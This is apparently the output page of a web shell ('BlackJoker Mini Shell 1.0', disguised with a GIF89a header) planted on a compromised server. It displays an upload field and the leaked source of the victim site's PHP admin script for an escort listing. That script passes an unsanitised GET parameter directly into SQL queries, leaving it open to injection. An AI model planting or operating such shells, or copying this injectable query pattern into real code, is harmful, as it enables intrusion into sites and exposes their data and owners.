GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/admin/
Upload File :
Current File : /home/serb/www/admin/update_scrapescort.php

<?
	include("sessionout.php");
 	include("../lib/globals.php");
 	include("../lib/common.php");
 	include("../lib/functions.php");
	
?>
<?
$id=$_GET['id'];
$sql="SELECT * FROM escorts WHERE esc_id='$id'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);
$status=$row['esc_status'];
if($status=='a')
{
	$newstatus='Active';
	
	$sql2="UPDATE escorts SET esc_status='$newstatus' WHERE esc_id='$id'";
execute_query($sql2);
/*$sql_scrapescort="SELECT * FROM escorts WHERE esc_id='$id'";
$res_escort=execute_query($sql_scrapescort);
$row_escort=mysql_fetch_array($res_escort);

$sql_city="SELECT * FROM citys where id='".$row_escort['esc_location']."' ";
$res_city=execute_query($sql_city);
$row_city=mysql_fetch_array($res_city);

$citid=$row_escort['esc_location'];
$stid=$row_city['states_id'];

if($row_escort['esc_hits']>0)
{
	$update_postscrap="UPDATE post_ad SET status='a' WHERE id='".$row_escort['esc_hits']."'";
	execute_query($update_postscrap);
	
	$update_scrappics="UPDATE estservice_photo SET status='a' WHERE postid='".$row_escort['esc_hits']."'";
	execute_query($update_scrappics);
}
else
{

$sql_int="INSERT INTO post_ad(id,ad_name,ad_catagory,zip,state_id,city_id,available,incall,outcall,incal_charge,outcall_charge,visiting,address,gfexp,fetish,bdms,age,ethnicity,language,height,weight,eyecolor,haircolor,build,mesurment,cupsize,kitty,pornstar,pregnant,ad_intro,ad_dtls,email_adds,rcv_email,phoneno,website,creaditcard,picture,createdate,status,userid,ad_price) VALUES ('','".$row_escort['esc_title']."','1','0','$stid','$citid','','','','','','0','".$row_city['name']."','0','','','','','','','','','','','1','','','0','0','','','','No','".$row_escort['esc_phone']."','','0','".$row_escort['esc_file_name']."','','a','0','0.00')";
			execute_query($sql_int);
			$iddd=mysql_insert_id();
			$updt_scrapescort="UPDATE escorts SET esc_hits='$iddd' WHERE esc_id='$id'";
			execute_query($updt_scrapescort);
			
			$sql_img1="INSERT INTO estservice_photo(id,name,postid,user_id,picture,status) VALUES ('','','$iddd','0','".$row_escort['esc_file_name2']."','a')";
			execute_query($sql_img1);
			
			$sql_img2="INSERT INTO estservice_photo(id,name,postid,user_id,picture,status) VALUES ('','','$iddd','0','".$row_escort['esc_file_name3']."','a')";
			execute_query($sql_img2);
			
			$sql_img3="INSERT INTO estservice_photo(id,name,postid,user_id,picture,status) VALUES ('','','$iddd','0','".$row_escort['esc_file_name4']."','a')";
			execute_query($sql_img3);			
						

}
	
	*/
	
}
else
{
	$newstatus='a';
	$sql2="UPDATE escorts SET esc_status='$newstatus' WHERE esc_id='$id'";
    execute_query($sql2);
	
	/*$sql_scrapescort="SELECT * FROM escorts WHERE esc_id='$id'";
	$res_escort=execute_query($sql_scrapescort);
	$row_escort=mysql_fetch_array($res_escort);
	
	$up_postad="UPDATE post_ad SET status='u' WHERE id='".$row_escort['esc_hits']."'";
	execute_query($up_postad);
	
	$upd_scrappics1="UPDATE estservice_photo SET status='u' WHERE postid='".$row_escort['esc_hits']."'";
	execute_query($upd_scrappics1);*/
	
	
	
	
}







?>
<script language="javascript">
	location.href="list_scrap_escort.php";
</script>

./BlackJoker Mini Shell 1.0